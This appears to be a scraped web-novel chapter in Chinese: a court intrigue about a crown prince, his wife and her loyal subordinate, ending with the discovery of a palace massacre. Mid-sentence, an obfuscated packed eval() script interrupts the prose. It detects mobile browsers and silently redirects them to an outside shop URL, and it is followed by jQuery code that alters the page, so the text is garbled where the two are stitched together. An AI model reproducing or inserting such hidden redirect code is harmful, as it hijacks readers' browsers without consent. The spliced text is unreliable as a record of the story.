沈玄苏眉头微皱闷哼一声,随即抬眼望向她,眼底不止有浓厚的兴味,亦有犀利的疼痛,他不似白日那般柔和,两手覆在她的裙摆之上,食指勾住她腰侧系带,略微施压向两侧拉开。
婵鸢被迫缩回被子里,不愿与他贴得太近。
“殿下不要胡闹,怎可在此地使出你那些手段?就算是太子殿下也不应如此肆意妄为……”婵鸢阻拦道,尽管他撑在她身侧的双臂仍旧牢固如山,她眼眸中的不解之意仍是明朗活泛,热辣鲜艳。
她是他的属下,她始终谨记。
可话音未落,他眸中的恼怒或是恨意便越发清晰起来,手臂抬起,她的乌发被他的大掌一撩便荡起波澜。
婵鸢直勾勾地望着他,那副不知者无畏的茫然使他气息沉重,手掌下的力气也略带了些惩戒的意味。
他的嘴唇就在婵鸢颈窝里贴着,呵气如兰:“……娘子的礼数之论,怎地不继续说了?”
婵鸢拧着脑袋,蹙眉道:“……殿下能言巧辩,臣已无话可说了。”
沈玄苏微微浅笑,他俯身探究地盯着她,眼底是她白净修长的颈子,飒爽的猎装不留神散开两边后,又平白沾染了文弱气息的秀润身躯。
“又自称为臣了?”他问道。
婵鸢盯着帐篷灰突突的角落,烛影中他越离越近,她心底平白升起一斗压迫感,抿着嘴唇忍了忍,方才道:“……你我本就是君臣,君霸了臣,要臣做你的妻,这于理不合,天理难容,殿下大可以否认,但臣心里就这么想,别人眼里也这么看,殿下不认?”
沈玄苏一咬她的耳垂,含糊道了声:“认。”
他绸缎般的长发散落在她白皙的肌肤上,她在脸颊的一片火热中闭上了眼睛。
她向来猜不透他的心,就如同猜不透他有多少秘密还在隐瞒。
尽管他们是夫妻,可世上不是有这么句话吗?至近至远东西,至深至浅清溪。至高至明日月,至亲至疏夫妻。
婵鸢身下就是粗粝的被子,底下就是厚实的冻土,她后背硌得生疼。
沈玄苏细细吻她,细细密啄,在她脖颈间辗转,婵鸢抬胳膊捂住眼睛,觉得自己像只缩脖鸟儿,太子于冬营野地里偏要强占她的思绪霸道落下,她只要不看不见,就能当做没有发生。
帐外传来急促的脚步声,停在了三步之外,婵鸢的耳朵都听到了,就不信他听不到,可他并没有放手的意思。
她一听脚步声就知道是蓝峥,蓝峥从不在他们单独共处时打扰,一定是有要事回禀。
蓝峥也是怕惊扰了帐中人,趴在帐子门口压着嗓门禀道:“殿下,主子,宫里传回的消息,您有闲时听吗?”
婵鸢终于找到了借口,一把推开沈玄苏,理了理凌乱的鬓发,沈玄苏被她推到帐角,不语一言,只斜倚在软枕上,似笑非笑的眼神在她身上凉飕飕地打转。
婵鸢深吸一口气,强自镇定,撩帐出门:“我没有事,你说吧。”
怪异的是,蓝峥今日脸色有些苍白,他恭敬道:“虞家的车驾刚才进了西华门,说是去探望太后娘娘。但是另有一队神武卫,没有打旗号,悄悄从北门绕进了宫城,带队的人看着像是高平郡王。”
婵鸢心道,高平郡王沈瓒是晋王长子,掌神武卫副都指挥使,平时不大露脸,也很少见面。
“文安郡公呢?”沈玄苏已经踱步到帐门边,抬手掀开帘角,问道。
这位文安郡公沈孝是晋王次子,同样作风低调,挑不出错处。
蓝峥脸色很差:“文安郡公已经连夜出城,往疏勒方向去了,他走的是晋王府别院那条路。杨琇今晚也被文安郡公放走了,咱们没敢打草惊蛇,一路跟了上去。”
婵鸢猛地抬眼,“什么?”
沈玄苏思忖道:“莫急,他放走杨琇,是为了让西域那条线暂时断在我们查不到的地方,等风头过了,杨琇自会回来。”
婵鸢也是这样想的,道:“那是最好的。”
蓝峥又道:“但杨琇走之前,被程洁的儿子撞见了。程言之您还记得吗?”
“……”沈玄苏冷哼一声,回身去拿舆图。
婵鸢无视他道:“记得,如今是国子监的五经博士。怎么,他也参与了此事?”
“没有,”蓝峥担忧地看了一眼太子殿下的脸色,没发觉出缘由来,便继续道:“属下问过了,程博士入夜后去西市替监生采办书册,正好撞见杨琇从晋王府别院后门出来,上了一辆没挂帘子的马车,他不知从哪里听到了风声,居然盯上了杨琇,还抄了车辙印子一路跟到了桃溪渡口,蛇使一路盯梢他,才折返回来报了属下知。主子,程洁虽然是晋王在台谏系统中的喉舌,可他这个儿子,偏偏是个不掺和党争的,应当只是巧合。”
沈玄苏捧着一卷舆图出来,冷冷道:“若是不关注此事,哪来的巧合?”
婵鸢不搭理他,低头看着沈玄苏递过来的舆图,心口发紧:“所以杨琇走的是水路?桃溪渡、漳州港、月弥山……跟牙婆的口供对得上。可这舆图上标的那道虚线,绕过了漳州,往北拐进了骊山方向。他根本没打算走远路出海,他要绕道骊山,从凉州那边的私路出境!”
“过了凉州,就是叶亭的地界。”沈玄苏接过她的话,“凉州镇守使万俟衍,也是晋王的人,他在凉州囤了兵,名义上是防西凉,实际上,应当是替晋王看住那条通往西域通关口岸的私路。杨琇只要进了凉州境内,我们就再也追不上了。”
婵鸢记得万俟衍,前世在沈玄苏登基后,晋王隔三差五便来拜会新君,那时,便有这个人作为晋王的属下出现。
按大瀛军制,边镇守使调粮超过三千石,需经枢密院和户部联署,然而万俟衍私自调动粮草,合共两万四千石,枢密院那边居然一份底档都没有,自然是狼子野心,后来他也配合景飞焰,发动事变,逼宫沈玄苏。
婵鸢望向沉沉夜色,心情也很沉重:“杨琇如果顺利过了月弥山,进了凉州境内,万俟衍就能用那批粮草把他喂成一支暗旗。不论是谁在云京登基,晋王都会以辅政的名义调万俟衍的兵入京勤王,到时候城门一开,谁也拦不住。”
不是所有事都要等证据齐全了才能知道。
很多时候,只要看见某个人在替谁办事,就能猜出棋路要怎么走。
沈玄苏不语,抬手将那卷舆图折好,收进袖中,转身走回案前,取出一枚系着墨绦的银鱼符,搁在手心,垂眼看了片刻,然后递向蓝峥:“把这枚符送去给程言之,派两个人暗中护着他。程言之知道杨琇的行踪,晋王不会让他活着开口。”
蓝峥点头便要走,一时间脚步虚浮,婵鸢叫住他:“蓝峥,你怎么了?”
蓝峥顿了顿:“……没什么的,主子。”
婵鸢拉住他的胳膊:“不对,你回过头来。”
蓝峥道:“不,主子就是主子,主子无需关心这些无关紧要的事。”
婵鸢强硬道:“我从未把你当做我的奴隶,你是我的同袍,回过身来。”
蓝峥被迫回头,婵鸢这才看见他肩头鼓起一块,扒开了衣裳一瞧,是受了一刃血刀,伤口被他偷偷包扎起来了。
蓝峥低着脑袋,“主子,真的不疼,没事。”
婵鸢很敏锐地觉得,蓝峥受伤如同家常便饭,从未如此萎靡过,许是为了别的事发愁,便道:“是不是蓝晚出事了?”
蓝峥点点头:“是……让你担心了,主子。”
婵鸢知道,蓝峥也是命苦,幼年战乱失亲,无父无母,世间仅剩一个比他小五岁的亲妹,蓝晚。兄妹二人年少飘零,落魄街头,蓝峥要饭还被打个半死,被扔在野地里也没官府的人来管。
年少的婵鸢上街转悠,瞧他们可怜,便叫人把他们从大街上领了回来,蓝峥就此加入西窗,妹妹也在琼华楼里安顿下来。
后一年的大比,叶亭与蓝峥成了千人之中最拔尖的新秀,但是叶亭孤勇,蓝峥狠厉,娘便让叶亭跟在她身边。
可是蓝峥这么多年,始终待她掏心掏肺。
旁人入西窗,或是为前程,或是为活命,唯有蓝峥,是被婵鸢从死人堆里亲手救下的。
婵鸢直接道:“有困难直说便是。”
蓝峥犹豫不决,迟疑半晌才道:“妹妹近日眼疾重了,视物不清,近乎盲尽。属下夜里回楼去照料她,不慎遇袭,但是小伤无碍,还不耽误差事。”
婵鸢一听,体恤道:“别,我准你放假三日,回去照料她吧。”
蓝峥立刻摇头,态度坚决:“属下不能走,我最熟悉您的所有部署、所有暗线、所有军务,蛇使近日为了楼里其他的琐事,常常出入宫廷,若被发现了身份,就不能再继续做事了。眼下朝野暗流四起,属下若离开了,主子身边无人兜底,极易生变。我的私事再大,也不及主子安危重要。”
婵鸢看着他固执隐忍的模样,心底又暖又疼,她扶起他:“我不需要你拿命硬扛,叫你休息便休息。待回去了,让程御医随你回去给蓝晚医治眼疾,想来,殿下不会拒绝的。”
婵鸢说着,回眸看了沈玄苏一眼。
沈玄苏他面色清淡,看不出喜怒,只静静望着这边,对上婵鸢望来的目光,他出声应允:“可。回宫之后,让程曦拨出时日,专程去往琼华楼诊治。所需药材、药膳、静养居所,一律从东宫私库支取。你随鸢儿多年,恪尽职守,从无私过,既然忠于职责,孤便容你。”
蓝峥闻声,腰背一挺,郑重垂首:“属下谢殿下、谢主子。”
沈玄苏淡淡抬眼:“肩伤也别拖,今夜就让程曦一并处理。西窗缺不得你,你也不必事事死撑。”
婵鸢转头看向蓝峥,温声道:“听见了?往后公务归公务,亲人归亲人。你无需独自遮掩伤势,有难处,尽管上报,殿下宽纵着咱们呢。”
沈玄苏用那样的眼神斜睨着她,并未出言反驳。
蓝峥拱手应下,神色恭谨肃穆:“属下谨记。”
送走蓝峥,婵鸢没有说话,就蹲下,从炭盆旁捡起一根铁钳,拨了拨快要熄灭的炭火,声音凉凉:“谢谢殿下保全臣的颜面。”
沈玄苏踱步而来,垂眸看着她乌黑的发顶,淡淡带刺道:“孤不是给你颜面,是给你的属下周全。”
他俯身,单手轻撑膝头,逼近她身侧,气息沉沉覆落:“你手下人人有难处,人人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877431|204295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有牵挂,你则是好主子,事事体恤,事事周全,对蓝峥如此,对孤麾下的朱潭、洛胜更是如此,你的风度,孤实在望尘莫及。”
婵鸢气得半死,早听出他这两句阴阳怪气,便抬眸,望进他深邃沉沉的眼底,烛火映得他眼底清明,却也有化不开的酸涩。
她总算是看明白了一些他的心事,愣了愣:“殿下是觉得臣太过纵容下属?”
沈玄苏没答,只抬手,轻轻抽走她手中的铁钳,随手搁在一旁,又扣住她手腕,将蹲着的人拽起来,道:“岂止是纵容?孤只是在想,你对外人,永远心软宽容,体恤入微。可是方才孤心口闷、身子烫,你怎么不多体恤体恤孤?”
婵鸢甩脱他的手,脸色微红:“乱说什么!西窗职守人员都是臣的,他们的事就是臣的分内事,臣总不能冷待同袍。更何况,臣何时粗疏待殿下?今夜臣时时记挂殿下身子不爽,一刻不曾放下的。”
沈玄苏道:“世人万千,同袍无数,唯独孤,要你独独偏心。”
婵鸢丢不起这人,拉着他进了帐。
冬狩结束,该收拾东西回宫,然而还没等坐下,赤宁跌扑入帐,双膝重重砸落地面,趴在地上说:“殿下,不好了,太后……殁了!”
沈玄苏陡然回首:“……何时?”
“虞家人入宫探病之后。”赤宁不敢抬头,语声发颤。
婵鸢心脏猛地一沉:“陛下和皇后娘娘呢?”
赤宁的脸色更难看了:“虞家的几个晚辈口口声声斥责皇后娘娘照顾太后不周,逼进了坤宁宫,皇后娘娘……皇后娘娘……被逼割发明志,陛下那里,正由吕贵妃伺候着,陛下听闻太后暴毙,一怒之下,薨了……吕贵妃吓坏了,跪在地上不住地哭,皇后和众妃嫔赶来时,便看见这一幕,皇后娘娘……便昏了过去,禁卫军见状,便同虞氏的侍卫打了起来,宫中早已乱作一团,殿下,殿下!您快回宫看看吧!”
沈玄苏的脸上看不清任何表情,赤宁说完,他直勾勾盯着赤宁,看得赤宁不敢抬头与他对视。
婵鸢也是心有不安,她不知道太子殿下此刻心中所想,短短数语,帝、后、太后,顷刻颠覆。
赤宁哪敢说话,婵鸢只得站起来道:“既有国丧,速速回宫吧……殿下。”
沈玄苏方才站起来,手虚虚扶了扶书案。
“即刻拔营,回宫。”
沈玄苏语声极轻,平稳得冰冷,听不出半点情绪,可手指微不可察的轻颤。
很快,一时间整个冬狩营都得知此事,大队人马连夜疾驰,风雪拂面,马蹄踏碎长夜,一路奔至宫城之外,天色已然翻出惨白的晨光。
往日禁卫森严的宫门此刻大敞四开,门内没有值守的禁卫军,也没有虞氏护卫,浓重刺鼻的血腥气,顺着宫道漫溢而出,扑面而来,腥臭刺骨,令人作呕。
婵鸢在宫门前勒住马,下意识攥紧了缰绳,马匹不安地踏着蹄,不肯再往前迈步。
她实在担心沈玄苏的状态。
沈玄苏翻身下马,步履平稳,一步踏入宫门之内。
婵鸢快步跟上去,走了大约二十步,她踩到了从门内一路拖出来的血,血痕两侧散落着几件被踩碎的头面,那宫女的眼睛还睁着,望着天,瞳孔里盛着一点破碎的晨光,四处皆是宫人仓皇奔逃后拼死挣扎的痕迹。
再一抬眼,只见养元殿前的广场上,横七竖八地倒着十几具尸体,有侍卫,有内侍,也有几个穿着便服的宫人。
年幼的十六皇子竟也不幸遭难,尸体蜷在丹陛西侧的汉白玉栏杆下面,手里还攥着一只纸鸢的竹骨,纸面早被血浸透了。
而十二皇子倒在内殿门槛内侧,面朝下趴着,小小的身子缩成一团,衣领上沾着几片枯叶,大约是挣扎时滚到了阶下的花圃里,摔伤了脑子,没得到及时医治,殁了。
婵鸢暗自心惊,觉得此处便是人间炼狱了。
岂止是国丧……简直是灭门。
她突然就不敢去看沈玄苏的表情,她怕……怕沈玄苏一时冲动,做出什么无可挽回的事,也怕这一地的尸首,会让云京的天从此颠倒了黑白。
沈玄苏一步一步走到十六皇子身边,蹲下来,什么也没有说,伸手将小孩子的衣领轻轻拉正,又将他蜷着的手指慢慢掰开,从掌心里取出一小块被攥碎的糖。
那是御膳房做的桂花糖,小十六年纪小,最爱偷吃,每次见了都要缠着给他一块。
他低头看了一会儿,将那糖块放进自己袖中,将他从地上抱了起来,十六皇子的头歪在他肩头,小小的脸埋在他颈窝里,安静得像是睡着了。
他就这样走到十二皇子身旁,又把另一位弟弟抱了起来,染了一身的血,也不管。
他那样沉默,抱着两个弟弟的尸体,在满地血污和晨光之间站着,背对着她。
婵鸢站在几步之外,看着这一幕,竟也不知该如何做才对:“殿下……”
风声穿过大殿,吹得枯树簌簌作响,从廊下到殿门一片素白,初冬的白日落了一场来不及化的雪。
“走。”沈玄苏没回头,却是对她说:“离开这,算孤求你,孤不能……再失去你了。”